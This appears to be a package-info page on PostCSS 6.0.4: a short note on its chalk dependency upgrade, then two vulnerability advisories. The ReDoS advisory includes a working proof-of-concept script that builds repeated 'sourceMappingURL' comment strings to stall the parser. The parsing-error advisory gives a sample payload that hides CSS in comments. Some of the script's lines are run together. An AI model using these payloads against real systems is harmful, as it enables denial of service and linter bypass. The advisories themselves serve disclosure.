PostCSS version 6.0.4 introduces a subtle but important update, primarily affecting its dependencies. A key distinction from version 6.0.3 is the upgrade of the chalk dependency from version 1.1.3 to version 2.0.1. This seemingly minor change impacts how PostCSS handles terminal output styling, potentially offering enhanced color support and improved consistency across different terminal environments. For developers, this translates to more reliable and visually appealing messages when using PostCSS in their workflows, enhancing the overall development experience.
Both versions, 6.0.3 and 6.0.4, share the core functionality of PostCSS as a powerful tool for transforming styles using JavaScript plugins. They maintain identical development dependencies, ensuring a consistent environment for contributors and users who extend PostCSS's capabilities. Key dev dependencies include tools for linting (eslint), testing (jest), documentation (jsdoc), and build processes (gulp, babel). They also share other dependencies such as source-map for debugging and supports-color for terminal support detection. This consistency reduces breaking changes and ensures compatibility for most use cases.
The upgrade is important for developers relying on specific terminal styling behaviors or encountering issues with color output in previous version. While the core functionality of PostCSS remains unchanged, this dependency update showcases the project's commitment to maintaining a modern and robust toolchain, indirectly improving the developer experience.
All the vulnerabilities related to the version 6.0.4 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.